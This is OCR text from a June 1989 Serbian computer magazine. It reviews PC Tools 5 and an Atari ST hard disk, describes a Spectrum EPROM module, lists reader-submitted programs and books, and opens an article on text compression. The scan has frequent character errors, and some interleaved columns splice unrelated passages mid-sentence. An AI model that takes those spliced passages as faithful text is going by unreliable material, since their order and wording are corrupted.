Podaci na tvrdom disku neprekidno su u
opasnosti da budu obrisani nepailjivo izda-

tom naredbom FORMAT. Ali, na obicnim klo-

novima i tu ima leka. Program Mirror pamti
izgied FAT tabele i snima ga u posebnu datote-

ku. Ako se podaci obri§u formatizovanjem, iz-

vrgavanjem programa REBUILD oni se ipak
mogu proCitati a adrese datoteka i imenika
spasti. Treba napomenuti da postoje dve vrste

formatizovanja diska: elementarno (fizicko)

formatizovanje - protiv kog nema leka, i sof-

tversko - naredbom FORMAT. Samo na ovo
drugo se odnose mogucnosti programa Mirror
i REBUILD.

§ta u stvari radi DOS naredba FORMAT,
primenjena na tvrdi disk? Ona ne bri§e podat-
ke vec samo njihova imena iz osnovnog (root)

imenika i odgovarajuce adrese Iz FAT tabele.

PC Format radi isto to, ali briSe samo prvo
slovo imena u osnovnom imeniku i upisuje ga
u za to rezervisan bajt. To olakSava programu
REBUILD da ponovo nade podatke i da „rein-

karnira" tvrdi disk kao §to je bio pre formati-
zovanja.

Zajedno uzev, ovi programi cine mocno
preventivno sredstvo protiv gubljenja podata-
ka i programa na tvrdom disku.

Poslednji program iz ove grupe je PC Secu-
re. On bi trebalo da sifrira i kompresuje dato-
teke. Medutim, zbog americkih zakona, §ifri-

ranje je izbaCeno iz svih verzija PC Toois-a ko-
je se galju van SAD. Preostaje kompresija pod-
ataka. PC Secure koristi tzv. blok-adaptivni
Lempel-Ziv-Welch algoritam, §to je i jedan od
algoritama u poznatom programu PK/ARC.
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Poredenja radi, datoteka od 427K iz MS Wor-
d-a se pomoiu PKARC slabija na 217K a sa PC
Secure na 212K. Razlika je isuviSe mala da bi

bila od prakticne vaznosti.

Na zalost, ovaj program je toliko nov da ga
je firma Central Point Software izbacila na
trziSte bez dovoljno testiranja. Nepunih mesec
dana po po£etku isporuke ustanovljeno je da
se upotrebom programa PC Secure moze o§te-

titi datoteka koja se kompresuje! Ovo upozo-
renje vazi samo za medunarodnu verziju pro-

grama. Firma prakticno zabranjuje da se ovaj

program koristi i prodaje do daljnjeg, odnos-
no. dok svaki registrovani korisnik besplatno
ne dobije dve nove diskete kao zamenu za de-

fektan program. Upravo ovakva situacija je jo§

jedan dokaz da je ponekad korisno biti regis-

trovani korisnik svog omiljenog softvera. Iz-

gleda da 6e - do daljnjeg - biti najbolje da se

ovaj program obriSe sa tvrdog diska.

Poslednji iz ovog niza samostalnih pomoc-
nih programa je PC Cache. Njime se zauzima
izvestan deo memorije koji sluzi kao bafer za

komunikaciju sa diskom, Moze se uzeti naj-

manje 64K od centralne memorije, ali je rano-

go bolje ako racunar ima dodatnu memoriju
tipa EXTENDED (tipicno za AT racunare) ili

EXPANDED (sve vrste PC raCunara). PC Cac-
he propu§ta sve §to treba upisati na disk ali

„presrece'' zahteve za citanjem sa diska i

umesto sa diska cita iz rezervisane memorije.
U zavisnosti od veliCine memorije i brzine ra-

cunara, prenos podataka se povecava sa tipiC-

nih 167K za disk Seagate 252-1 na preko
3000K ako je za PC Cache zauzeto 999K me-
morije tipa EXTENDED na AT racunaru na
12MHz bez stanja cekanja. Na prvi pogled,

reklo bi se da je to upravo idealan naCin da se

iskoristi vi§ak memorije do koje DOS ionako
nema pristup.

Na zalost, iskustva sa upotrebom cache me-
morije nisu tako dobra. Postoje sluCajevi kada
cela ideja pada u vodu. Najla^e je doci u tak-

vu situaciju ako u nekom procesoru reci radi-

mo sa ogromnim datotekama, to jest, toliko

velikim datotekama da ne mogu da stanu u
memoriju vec prisiljavaju program da sam sni-

ma delove teksta kao „prljave'' datoteke, To su

datoteke za koje korisnik i ne zna da postoje a

u normalnom radu ih nikada i ne vidi, jer ih

program sam obriSe ako se regularno izade iz

njega.Kada te „nevidljive" datoteke treba sni-

miti, sve je u redu - PC Cache ih propuSta na
disk. Problem nastaje kada ih treba ucitati. Ve-
rovatno je da verzija iz memorije nede odgova-

rati novom rasporedu teksta (u meduvremenu
korisnik ne§to bri§e i unosi) i onda se de§avaju

cudne stvari. U MS Word-u su se u dva navra-

ta pojavili delovi maginskog programa a u
XyWrite-u sadrzaj pocetka tvrdog diska, Zato
PC Cache (a verovatno i ostale takve progra-

me) treba oprezno koristi.

Specijalne funkcije

Poslednja opcija glavnog menija je Special.

Tu se kriju sledece naredbe: System Info (daje

informaciju o hardveru raCunara - vrsta, me-
moriia, diskovi, brzina i tako dalje). Undelete
(anuliranje brisanja datoteke ili imenika). File

Map (raspored datoteka na disku), Disk Map
(globalni pregled diska). Directory Sort (sorti-

ranje datoteka u odabranom imeniku, i to po
imenu, prezimenu, velicini, datumu i vremenu
nastanka i po redosiedu odabiranja), Memory
Map (prikaz trenutno aktivnih programa u
memoriji), Remove PC Shell (uklanjanje

PCSHELL-a ako je bio startovan kao pritajeni

program).
Daleko najvafnija opcija u ovom meniju (a

mozda i celom PCTools-u) je Undelete. U ovoj

verziji postoje cak tri nacina da se povrati

greSkom obrisana datoteka: Delete Tracking
(radi pomocu malog rezidentnog programa),

Standard DOS (uobicajeni DOS naSin) i Crea-
te a File (povezivanje grupa sektora bez obzira

na redosled). Prvi nacin radi tako Sto instalira

rezidentni program koji saraduje sa progra-

mom Mirror. Kad god DOS uniSti datoteku,

taj program sacuva informacije o obrisanora u
datoteci PCTRACKR.DEL u osnovnom imeni-

ku na tvrdom disku. Tako se mogu povratiti

Cak i fragmentisane datoteke. naravno, pod
pretpostavkom da ni§ta nije fizicki upisano
preko tih mesta na disku.

Automatski metod radi kako mu ime kaze:

sam regeneri§e datoteku i vraca se u
PCSHELL. Ako to ne uspe, PC Tools ce ponu-
diti manuelno povezivanje klastera. Ako to ne
uspe iz prve, uvek mozemo obrisati datoteku i

SVET KOMPJUTERA / JUN '89.

manuelno je povezati na neki drugi naCin! Ko-
naCno, ako smo sigurni da se podaci nalaze na

]

disku a nikakvo ime se ne moze dobiti kao re-

Izultat prethodno navedenih postupaka, mora-
mo se poslu^iti metodom Create file, to jest,

napravicemo novo ime datoteke a onda mu
ruCnb dodavati klastere.

Sve karte na sto

Sve do sada izlozene osobine imale su i pre-

thodne verzije PC Tools-a. Razlika je samo u
spoljagnjem izgledu a funkcionalnost je tek ne-

§to malo poboljSana. Medutim, skup progra-

ma pod imenom Desktop Manager je neSto

jsasvim novo. Sastoji se iz programa Notepad
(mali editor, zgodan za beleSke, cita ASCII i

[Wordstar format), Appointment Scheduler
[(sastanci i dnevni raspored). Database (cita i

pi§e dBASE III datoteke). Calculators (tri raz-

licita „ruCna" kalkulatora), Telecommunicati-
lons (komunikacioni program). Clipboard
(prenosi tekst iz raznih deiova ovog programa

!i omogucava da se napravi skladna celina),

j

Macro Editor (makro generator kompatabilan
'sa poznatim programom ProKey) i Outlines

(skiciranje dokuraenta tokom pisanja ili na-

knadno struktuiranje veC napisanog). Ovi pro-

grami mogu u mnogome da oiakSaju zivot

'svim korisnicima PC racunara.

I Desktop Manager se mo2e uCitati kao obi-
' Can ili kao rezidentan program. Ova druga
mogucnost mnogo je privlaCnija, Desktop Ma-
nager kao rezidentni program ima velikih

prednosti ali i nekih mana. Prednost je Sto ta-

da mozemo izvrSiti makro naredbe u svim
programima, Sto je aktivan alarm iz programa
Appointment Scheduler, §to se moze izvrSava-

ti ..iznad" nekog drugog programa i Sto se mo-
ze koristiti program Clipboard za prenoSenje

tekstova iz programa u program. Mana je Sto

se od konvencionalne memorije zauzima 38K,

ali ako u sistemu postoji LIM EMS memorija,
onda je Desktop Manager koristi, pa zauzima
manje prostora. Poziva se kombinacijom Ctrl-

-Space. KonaCno. za svako ukljucivanje i is-

kijuCivanje D^ktop Manager-a potrebno je

da se prograjh’'ucita, odnosno, upi§e na disk.

Naravno, §t(i!^u brzi raCunar i disk, to je i ovo
nuzno vreme cekanja manje.

Komunikacija je sliCna onoj u PCSHELL-u,
dakle, sa tastature ili mi§em, po sistemu pada-

jucih menija, prozora, dijaloga i aktivnih fun-

kcijskih tastera. Meni se menja u zavisnosti od
uCitanog programa.
Program Notepads je prilicno standardan

procesor reCi sa pravopisnom proverom. Naj-

duzi tekst moze imati oko 60.000 znakova. Ug-
lavnom je namenjen pravljenju beleSki dok se

radi u drugim programima. Tek u saradnji sa

drugim delovima Desktop Manager-a dostize

svoj pravi smisao. Kostur dokumenta moze se

napraviti programom Outlines, a onda ga mo-
zemo dovr§iti u procesoru reci. Ili, mozemo
napraviti kostur cirkularnog pisma, progra-

mom Databases uCitati podatke koji veC (moz-

da i odavno) postoje u dBASE HI formatu i sve

to odStampati. Sa Databases takode mozemo
praviti samostalne, nove baze podataka i, na
primer, koristiti ih za pozivanje preko mode-
ma. Modul Databases zapravo ima snagu sa-

mostalnog programa za baze podataka, jer

omogucava sve: samostalno pravljenje sloga,

pretrazivanje, sortiranje, dodavanje i brisanje

slogova.

Potencijalno najprakticniji deo ove pro-

gramske svite je Appointment Scheduler. Sad-

rzi kalendar, raspored vremena i spisak radnji

'koje treba obaviti u nekom periodu. Uz svaku
radnju moze se dodati i tekstualna primedba

• ili objaSnjenje. Mozemo stvarati, menjati i raz-

gledati dnevne, nedeljne ili mesecne sastanke i

projekte. Posebno je interesantna opcija „Pro-

natli slobodno vreme za sastanak" - pravo bla-

go za sve zaposlene ljude. Tu je Cak i spisak

praznika, tako da nikad ne dolazimo u koliziju
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sa realno§tu. Postoji i alarm, pa mozemo sami[
sebe podsetiti da treba preii na neki drug! po-i
sao. Sliino, u zadato vreme moze se izvr§iti|

neki program. Idealni kandidati su programii
koji prave sigurnosne kopije diska na trake,,

kompresuju disk ili aktiviraju komunikacioni
program kada su impulsi jeftiniji. {Teoretski,
ovako bi se mogle ukljucivati i TA pedi u vre-
rae jeftinije tarife,,.) Jedna poslovna primena
bila bi da se na podetku poslovnog sastanka
.sam od sebe" ukljuci procesor reCi ili dina-
miCka tabela.

Program za telekomunikacije podrzava
brzine od 300 do 1200 boda, koristi bilo koji
serijski port na PC radunaru, prenosi tekst,
XMODEM ili ASCII protokolom, automatizu-
je izvesne radnje pomocu takozvanih script
datoteka i moze da radi u pozadini nekog dru-
gog programa. I ovaj program je prilidno kom-
petentan u svom domenu. Svi parametri se
mogu naknadno podesiti, a tu je i poseban je-

zik za telekomunikacije, sa naredbama poput
IRON, TROFF, GOTO, IF, INPUT i PRINT,
ali i DOWNLOAD, UPLOAD, HANGUP, RE-
CEIVE, SEND, WAITFOR, PAUSE i ECHO.
Macro Editor je skoro isto tako debar kao i

ProKey, Na zalost, ne prepoznaje ba§ sve kom-
binaeije tastera iz postojedih ProKey makro
datoteka. Desktop se isporuCuje sa makroima
za Stampanje na §tampa£ima Panasonic, IBM
Proprinter, HP Laser Jet i Epson FX-80, Svi
programi iz E^esktop-a mogu da koriste usluge
makro generatora, a i neki iz PCSHELL-a, Pri-
mena makro generatora je posebna prida, ali

izgleda da je Macro Editor dorastao skoro
svim zadacima samostainih makro programa.

Program Clipboard prenosi tekst iz jednih
programa u druge, cak i izmedu programa koji
nisu deo PC Tools-a. Grafika se ne moze pre-
nositi ali se zato moze „uhvatiti" sve sto se vidi
na ekranu.

Konacno, postoje i tri razlidita kalkulatora;
algebarski, finansijski (emulira HP-12C) i pro-
gramski. Algebarski radi isto kao kalkulator sa
trakom. Osim detiri osnovne operaeije i proce-
nata, na raspolaganju su i suma, broj decimal-
nih mesta i jedna memorija. Ukratko, takav
kalkulator je pre dvadesetak godina koStao vi-
de nego ceo PC Tools danas. Velika prednost
ovog kalkulatora je dto se sadrzaj trake moze
menjali, §to je neka Vrsta najelementarnije
moguce dinamicke tabele.

Finansijski kalkulator je potpuna emulacija
poznatog HP-ovog kalkulatora, sve zajedno sa
poljskom notaeijom i detiri rotaciona registra.
Sa njim se lake izradunavaju prosti i slozeni
interesi, glavnica, otplate, isplate, hipoteke,
amortizaeija. investieije, obveznice a zastuplje-
na je i statistika sa proradunom srednje vred-
nosti, linearnih projekeija i slidnog.

Programerski kalkulator racuna u decimal-
noj, binarnoj, oktalnoj i heksadecimalnoj no-
taeiji - odjednom. Racuna se sa 32 bita ali ne
raduna razlomke. Dakle, jednostavan ali korls-
tan,

I na kraju...

PC Tools u verziji 5 delimidno je ostao isto
§to je i bio: odlidan skup programa za nadok-
nadivanje propusta u DOS-u . Desktop je ne-
sto sasvim drugo. lako ga Central Point Sof-
tware tako ne reklamira, radi se o skoro pot-
puno integrisanom paketu - koji se moze iz-

vrdavati kao rezidentni program. Nedostaje sa-
me dinamidka tabela (spreadsheet) pa da se
ideja kompletira. Sve u svemu, i ova nova ver-
zija je i te kako opravdala poverenje. To se vi-
di i po broju pretplatnika, Do sada je prodato
300.000 primeraka ovog programa, a cak polo-
vina korisnika unapred je doplatila za ovu no-
vu reviziju. Njihovo poverenje nije iznevereno.

o

Ureduje Aleksandar Radovanovic

Junskaberza ideja

Sahovska biblioteka

Program „Sahovska biblioteka" namenjen je

ljubiteijima §aha i sluzi za Icreiranje biblioteke
sahovskih partija. Mogu ga koristiti sahisti, od
pocetnika do profesionalaca. Program raspo-
laze sledecim opeijama:

- upisivanje partija,

- maniiieno odigravanje poteza,
- automatsko odigravanje poteza (vremen-

ski interval izmedu dva poteza zadaje koris-

nik),

- vracanje poteza,
- odigravanje iste partije jos jednom.

denih u 4 do 21 kombinaeije (sisteme) od 8

brojeva, tj. za uplate od 6,400 do 33.600 dina-

ra.

Program je jednostavan za upotrebu 1 radi

sa kasetom i diskom. Na kraju, program sam
daje broj pogodaka po sistemima. Program
Loto sistemi mozete nabaviti direktno od au-

tora: Sava Andelkovic, Ustanicka 174, 11050
Beograd, tel. 011/4896-731.

Igre za C-64

Bratislav

18/2, 74000
i Vladislav Misic, Ive Lole Ribara i

Doboj, tel. 074/24-079, posiali su
I

Iz programa „Sahovska biblioteka'
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- ispisivanje toka partije na printeru,

- nova partija.

Program sam vodi racuna o greskama, en
passantu ltd. Uz program se dobija i detaljno

uputstvo za upotrebu kao i veci broj upisanih

partija.

Ukoliko imate PC racunar i interesuje vas

ovaj program javite se Savi Andelkovicu, Us-
tanicka 174, 11050 Beograd, tel. 011/4896-731.

Philips i Sony

Miha Podlogar, C. Tavearja 1/B, 64270 Jese-

nice, tel, 064/82-906 nudi program AutoTitle

napisan za kompjiitere Philips 8280 i Sony
900. Program sluzi za titlovanje video filmova,

vec ga koriste videoteke kod nas i u inostran-

stvu.

Loto za Commodore 64

Za razlikii od ostalih programa za Loto, koji

daju skracene sisteme u kombinaeijama od 7

brojeva, ovaj program generige skracene siste-

me u kombinaeijama od 8 brojeva. Program
sadrzi 35 sistema od 10 do 20 brojeva raspore-

nam igru za Commodore 64 - „Kradljivci za-

da,"

Univerzum je razoren, osim Iridije, na kojoj
se jos vodi rat oko blaga. Pojavljuju se razboj-

nici koji koriste guzvu i pokusavaju da ukradu
blago. Zadatak igraca je da ih u tome spreci,

Igra je za dva igraca, a sem brzine zahteva i

razmisljanje. Igra se dobija u originalnom
omotu uz poklon - iznenadenje. Sem toga sva-

ki igrac dobija kupon sa kojim stice pravo
ucesca u nagradnoj igri,

Sem igre. braca Misic nude i kvalitetne ka-

setne intro editore koje mozete naruciti i sa

vagim imenom i porukom, Interesantno je da
se ovi editor! nalaze u biblioteci programa
Mailboxa iz Bitole - 097/22-540.

Promena imena

Toni Paulin, Cvjetno naseije 10, 41410 Veli-

ka Gorica napisao je za Commodore 64 pro-

gram za menjanje imena diskete bez njenog
ponovnog formatiranja. Program je pisan na
BASIC-u i zauzima 3 bloka.

O
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PREDSTAVUAMO

ATARI ST

Hard disk

za dinare
Kupovina
hard diska u inostranstvu je

problematicna: za takavput
treba naci vremena, treba ga i

platitl za kupovinu treba naci
devize, a tu su i problemi sa

prevozom. Sve se to maze izbeci

- Splitski PNP electronic nudi
dva modela hard diska (od 32 i

65 MB) za dinare.

Disk je sme§ten u sivoplavu raetalnu kutiju

dimenzija 28 x 24,5 x 25 cm. Na prednjoj ploci

nalaze se mre^i prekidac, zelena svetleca dio-

da koja pokazuje kada disk radi, i otvori za

ventilaciju. S prednje ploce polazi i kabl za po-

vezivanje sa Atarijem, koji bi, po nasem mislje-

nju, mogao da bude i duzi. Sa zadnje strane,

koja inaCe sluzi i kao hladnjak nekolicini dio-

da i tranzistora, nalaze se osigurac od 1,25 A i

prikljucak za kabl za napajanje.

Razume se da je jedinica za napajanje ugra-

dena u kutiju - i onako velika suma kablova

na vagem stolu nece se znacajnije povecati.

Pogled u unutrasnjost otkriva hard disk mo-

dul Seagate 138R sa OMTI (RLL) kontrolerom.

Originalna kartica sa kontrolerom utaknuta je

u slot PNP-ove maticne plocice sa elektroni-

kora koja omogucava povezivanje sa Atarijem.

Svi element! kojima bi smetali potresi usled

transporta fiksirani su epoksidnom smolom.

Softver u ROM-ovima
Ovaj hard disk Atari nece sam od sebe pre-

poznati. za to mu treba poseban softver koji se

isporucuje ili na disked ili u sest EPROM-a ko-

jima treba zameniti originalni operativni sis-

tem unutar racunara. Problemi sa softverom

pojavljuju se kod bilo kog hard diska za Atari

ST (pa i original Atarijevog) pa PNP-ov proiz-

vod u tome ne predstavlja izuzetak. Po nasem
mi§ljenju, najbolje je zameniti cipove, uprkos

problemima sa otvaranjem racunara (priloze-

no je detaljno uputstvo), jer je rad daleko

komforniji. (Pri startovanju sa diskete neki put

se desava da racunar posle reseta vi§e ne pre-

poznaje hard disk.) Dodatni razlog za zamenu
operativnog sistema je i cinjenica da PNP nudi

i razne prevedene verzije (englesku, englesko-

-nemacku i hrvatskosrpsku). Osim toga, tvrdi

se da je operativni sistem tako izmenjen da

onemogucava upisivanje do sada poznatih*vi-

rusa na disk - to nismo bili u mogucnosti da

proverimo. Iz PNP-a obecavaju da ce uskoro

biti raspoloziv i operativni sistem u varijanti

sa samo dva (veca) EPROM-a, kao sto je to

kod najnovijih verzija Atarija 1040.

Vezite se, polecemo

Kada smo povezali spojni kabl sa DMA po-

rtom i prikljucili mrezni kabl mozemo i da is-

probamo stvar. Prvo ukljucujemo disk, Kada

mu se motor zavrti zacuce se nekakvo krcka-

nje - to disk proverava sam sebe. Kada krcka-'

nje prestane mozemo ukljuciti racunar, Ako
ste bili nestrpljivi i racunar ukljucili prerano,

moracete, u slucaju da ste ugradili novi opera-

tivni sistem, resetovati racunar, a ako ste po-

treban softver ucitali s diskete morate iskljuCi-

ti racunar i disk i sve poceti iz pocetka. Ako je

sve bilo u redu, na ekranu ce se pojaviti poru-

ka da su svi drajveri instalirani i da treba da

zadate particiju s koje ce se sistem „podici''.

(Hard disk je, po receptu sa PC-ja, izdeljen na

nekoliko logickih celina od kojih se svaka po-

nasa kao poseban disk manjeg kapaciteta i

ima sopstvene auto-startne i aksesori progra-

me). Pritisnete taster sa slovom odgovarajuce

particije i - to je sve. Ako zelimo da se sistem

butuje sa diskete (recimo, da bi se startovao

drajver za Signum, ili neki aksesori) otkucace-

te slovo „a",

Korisniku naviknutom na relativno spor rad

sa disketama brzina hard diska ucinifie se bes-

konacnom. Ipak, ona je konacna, ali veoma
velika. Ilustracije radi, dajemo tablicu iz koje

se vidi za koliko se neki od cesto koriscenih

programa ucitavaju s hard diska i diskete.

Zakljucak

Mesec dana neprekidnog rada sa PNP-ovim

hard diskom uverilo nas je da je rec o solid-

nom proizvodu. Intenzivno smo upisivali i ci-

tali veliku kolicinu podataka i nijednom se ni-

je desilo da se ne§to od toga izgubi. Cak i posle

dva (nimalo nezna) transportovanja sve je bilo

u redu.

Oni koji su pomislili da su ovim hard dis-

kom resili probleme sa PC emulatorom (PC-

-ditto) moramo, na zalost razocarati. U konfi-

guraciji s kojom smo mi radili emulator ovaj

disk, jednostavno - ne konstatuje. Stvar bi se

sasvim sigurno mogla resiti odgovarajucim

drajverom i se cene menjaju, takoreci, iz dana

u dan. Slicni proizvodi na Zapadu, zajedno sa

troskovima puta i caiine, staju od 1500 DEM
(za 32 MB) do 2000 DEM (65 MB), a u PNP-u
tvrde da njihova cena, naravno, u dinarima,

nije veca,

Garancija od 12 meseci, placanje u dinarima

i obezbedena prodajna i servisna mreza u

svim vecim mestima u Jugoslaviji cine ovaj

proizvod zanimljivim za svakog ataristu koji

postojedm memorijskim kapacitetom nije za-

dovoljan.

O Vojislav Mihailovic

Program HD floppy

1st Word 6,1 s 24,4 s

Signum 2 3,8 s 21,7 s

Laser C 7,2 s 26,5 s

SPECTRUM

Carobna

kutijica
Primena EPROM modula
ne svodi se samo na rasturanje

programa, vec u njega mozete
da smestite neku vasu rutinu Hi

progam koji cesto koristite, kao
na primer program za
kopiranje, program za obradu
teksta ili, uopste, 'bilo koji

program koji se uvek negde
zaturi kad vam najvise treba, a
osim toga zauzima dobar deo
ionako male memorije.

Resenje za hakerske probleme stize iz Pore-

ca, u vidu EPROM modula popularno nazva-

nog „Grunf Price". Za razliku od siicnih prosi-

renja Spectruma koja su zahtevala hardverske

intervencije na racunaru, ovi moduli su tako

napravljeni da se samo prikljuce na port sa za-

dnje strane racunara, kao na Commodoreu 64.

Postoji vise verzija modula i to od 16, 32 -f- 16 i

64 K.

Preklapanje memorije izvedeno je na origi-

nalan nacin; kada je modul prikljucen, negde

na vrhu memorije obrazuje se svojevrstan me-

morijski „prozor" od cetiri bajta. Svaka masin-

ska instrukcija izvrsena na tom mestu izaziva

skok u alternativnu memoriju. Pri tom se, jed-

nostavnosti radi, koristi procesorov signal Ml.

Nevolja je samo u tome sto neke verzije Spec-

truma imaju ugradenu verziju procesora koja

nema ovaj signal - u tom slucaj modul nece

raditi i jedini (za sada) lek je promena proce-

sora,

U modul koji smo mi dobili bio je ugraden

DEVPAC, unekoliko poboljsan i „nasminkan".

Naime, autor je omogucio da se uneseni izvor-

ni kod tokenizuje. To, ukratko, znad da se iz-

vorni (nekompajlirani) program ne cuva u ob-

liku „jedno slovo - jedan znak", vec su uvede-

ni posebni kodovi za svaki mnemonik, sto

znacajno smanjuje zauzece memorije pri pro-

gramiranju.

Ni ovaj projekat, na zalost, nije bio poste-

den „decjih bolesti": probali smo da uz pomoc
ovog modula trazimo „pokice" (NMl taster ra-

dii), ali bi se racunar ponekad, posle drugog

ulaska MONS-om u igru, neobjasnjivo zagla-

vio. Zbog same konstrukcije hardvera racunar

se blokira i kada se uz njega koristi neki pro-

gram u interapt modu 2 cija adresa pada u po-

menuti memorijski „prozor". Posto se, ipak,

radi o prototipu, sigurni smo da ce ovi nedos-

taci biti ispravljeni u finalnoj verziji.

Ostaje nam da pohvalimo i da podrzimo po-

kusaj da se stvori zaista korisna alatka. Pisite

nam i dajte svoje predloge sta bi sve moglo da
se smesti u modul - o svakom predlogu pro-

diskutovafiemo sa autorom i nastojati da ga

ostvarimo. Najzanimljivije predloge nagradu-

O Branko Jekovic

Sve informacije na telefon 053/31-595
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IZLOG

zajn siova cirilice za fontove tipa EFT 1 PFT i

Primer teksta kreiranog Chi Writerom i od-
stampanog na 9-pinskom i 24-pinskom stam-
paCu.

Vet po naslovima poglavlja moze se zaklju-
citi da je pred nama kompletniji prikaz ovog
tekst procesora, Da je rec o autoru sa iskus-

tvorn pedagoga vidi se po nacinu izlaganja i

brizi oko detalja kao sto sir primeri tekstova
predstavljeni na slikama i brizljivosti sa kojom
su uradeni prilozi, Tu su citati Dzozefa Vajen-
bauna, Hartmuta Bastiana, Miiovana Vitezo-
vica i. naravno, mno§tvo matematickih formu-
la i tabela. Sve to doprinosi da Citalac sa lako-
com prihvatajzlozenu materiju, Kroz knjigu
provejava i licna nota autora, koji program o
kome govori koristi vec tri godine, dovodeci
vas u „opasnost" da posle nekoliko procitanih
stranica pocnete ozbiljno da razmiSljate o na-
bavcl Chi Writera. Onima koji program vec
koriste knjiga ce svakako biti od velike koristi:

kao udzbenik, podsetnik ili kao riznica iskus-

tava koja autor prenosi citaocu. Ako imate Chi
Writer, ili razmisljate o njegovoj nabavci, „Pri-

mena programa Chi Writer" je knjiga koju sva-

kako treba imati.

Primena programa

Chi Writer

Alitor dr Bozidar Krstajic;
izdavac Tehnicka knjiga
Beograd; obim 167 stranica

Tekst edilori i lekst procesori svakako su
najkorisceniji programi bez obzira o kojem je

racunaru rec i cime se covek bavi. Knjiga Chi
Writer govori o istoimenom tekst procesoru
namenjenom, pre svega, za naucno-tehnicku
primenii. Rec je, dakle, o obradi teksta sa pu-
no matematickih formula, simbola na vise
razlicitih jezika, tabela, crteza...

Knjiga sadrzi dvadeset i jedno pogiavlje koja
obraduju siedece teme: Zasto Chi Writer, Mo-
gucnost nabavke Chi Writera, Nabavka pro-
grama, Instaliranje programa Shi Writer, Star-

tovanje Chi Writera, Statusna linija i linija pri-

marnih komandi, Chi Writer 1 vasa tastatura,

Anatomija Chi Writerove iinije, PodeSavanje
osnovnih parametara, Osobine editora. Editor
formula, Fusnote, Rad sa viSe dokumenata,
Stampanje Chi fajlova. Rad sa ASCII fajlovi-

ma, Datoteka CONFIG. PAR, Ukijucivanje
grafickih fajlova. Font dizajner i Pregled CW
komandi, Na kraju slede prilozi; Pregled fon-
tova SET. EFT i PFT siova YU latinice kojih

nema u engleskom alfabetu, Seme rasporeda
YU i ostalth karakteristika u pojedinim fonto-
vima prema tipkama nemacke tastature, Di-

Pjogram Wordstar, MS Word i WordPerfect
najcepce su upotrebljavani tekst procesori na
PC racunarima, Ova knjiga je namenjena oni-
ma koji zele da koriste racunar za obradu tek-

sta pomocu programa WordPerfect. Ideja au-
tora je da knjiga bude vodic i onima koji se ni-

kada ranije nisu sreli sa savremenom obra-
dom teksta koriscenjem racunara.

Primena programa

WordPerfect 5.0

Autori Dragan M. i Nada J.
Pantic; izdavac Tehnicka knjiga
Beograd; obim 221 stranica

Knjigu cine osamnaest poglavlja: Uvod,
Osobine i mogucnosti programa Wordperfect,
Pripreme za upotrebu programa WordPerfect,
Jednostavno stvaranje dokumenata, Komande,
Izmene u dokumentu, Formatiranje, Uoblica-
vanje dokumenta, Grafika, Prdzori, Rad sa

brojevima, Stampanje dokumenata, Operacije
sa fajlovima, Makroi, Spajanje dokumenata i

sortiranje, Recnik, Instalisanje i konfiguracija i

Posebni znaci. Pocetniku knjiga sluzi kao
uvod u korigcenje racunara, a iskusniji koris-

nik moze preskociti poglavlja koja se have ele-

mentarnim koriscenjem kompjutera. Sem
uvoda u koriScenje raCunara obradeni su i os-

novni pojmovi vezani za obradu teksta. Od ne-

procenjive su koristi delovi knjige koji objas-

njavaju kriticne operacije strogo instruktivno.

Takva uputstva su u uokvirenim blokovima u
kojima su numerisane instrukcije koje treba

strogo slediti da bi se dobio zeljeni rezultat.

Sve to je ilustrovano sa dosta primera datih u
obliku slika ekrana.

Knjiga „Primena programa Wordperfect
5,0" je svakako korisno §tivo korisnicima ovog
programa, a za pocetnika predstavlja nezaobi-
laznu literaturu. Mozda ce bas zahvaljujuci
ovoj knjizi program Wordperfect uci u §iru
upotrebu i u nasoj zemlji,

Koriscenje relacionih

baza podataka

Autor Zoran Marjanovic;
izdavac SFAIROS, Beograd;
obim 209 stranica

Po recima autora „Materijal koji se izlaze je

rezultat istrazivackog i pralcticnog rada grupe
nastavnika i saradnika FON (Fakulteta organi-

zacionih nauka) u oblasti projektovanja i ko-

riscenja informacionih sistema i predstavlja

pokusaj davanja prakticne pomoci pri korisce-

nju relacionih baza podataka". Knjiga je name-
njena korisnicima relacionih baza podataka
kao i studentima redovnih i poslediplomskih
studija na pomenutom fakultetu. Materijal je

izlozen u pet poglavlja: Standardni upitni jezik

SQL, Standardni nacin povezivanja SQL-a sa

visim programskim jezicima, Odredivanje lo-

gike interaktivnih aplikacija za azuriranje ba-

ze podataka i Projektovanje interaktivnih apli-

kacija za azuriranje baze podataka na ORAC-
LE relacionom sistemu, S obzirom da je knjiga

namenjena i studentima, za pojedine proble-

me formulisani su zadaci Cija su reSenja data
na kraju knjige.

Za koriscenje ove knjige neophodna su os-

novna predznanja iz racunarske tehnike i baza
j

podataka. Materija se obraduje sistematicno, i

jasno i sa puno primera ilustrovanih dijagra-

mlma. Imajuci u vidu da su sva istrazivanja i

baza podataka u toku poslednjih godina za- .

snovana na relacionom modelu ova knjiga je I

vise nego aktiielna za sve koji se have ovom
problematikom, tim pre sto je relacioni sistem

ORACLE dostupan i na PC racunarima.
;

O Aleksandar Radovanovic
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Mnogo teksta

u malo memorije

Cetrdeset osaw kUobajta memorije ZX Spectruma
odavno je postalo premalo za ambiciozne
programere. Kako ustedeti memoriju? Putem
kompresora!

Qi

U
Pise Nikola Popevic

Svetu korapjutera vec je bilo red o

kompresiji teksta i metodama kom-
presije. Citaoci i viasnici Spectruma

i Amstrada CPC upoznali su se sa kompreso-

rom teksta na pet bitova, dok sada predstavlja-

mo jedan potpuno nov sistem kojim mozemo
sabiti tekst - tokenizacijom.

Zar opet kompresor

Na nekim racunarima moguce je koristiti

neiskori§cene ASCII kodove (128-255), sto je

kod Spectruma tesko moguce (zbog bejzik na-

redbi), a mali je i broj red (ili grupa karaktera)

koje su tokenizovane. U programu koji vam
predstavljamo koriscena je dvobajtna tokeni-

zacija, a broj red koje kompjuter pamti ogra-

nicen je na 2048, Posto, dakle. grupu karakte-

ra sada predstavljaju dva bajta, u 16 bitova je

potrebno smestiti sve podatke o karakterima.

Sa 11 bitova moguce je smestiti broj tokena. a

u preostalih 5 sme§taju se potrebni podaci. Da
vidimo gde jo§ mozemo u§tedeti prpstor kada

kucamo tekst; jedan od karaktera koji se. kon-

stantno ponavlja u svakom tekstu je belina

(razmak - space). Zasto bacati po jedan bajt

na razmake izmedu red - lakse jfe da kompju-

ter sam, posle svake red, napravi razmak. Me-
dutim izmedu dve red moze da stoji i tacka,

zarez ili crta. Upravo zbog toga postoji onih

pet praznih bitova.

Pored tacke, zareza i crte u 5 bitova smesta

ju se i podaci o velikom slovu i novom redu

Jedna rec moze biti napisana velikim ili malim

slovom, u zavisnosti od mesta na kojem se na

lazi u tekstu. Na pocetku teksta i posle tacke

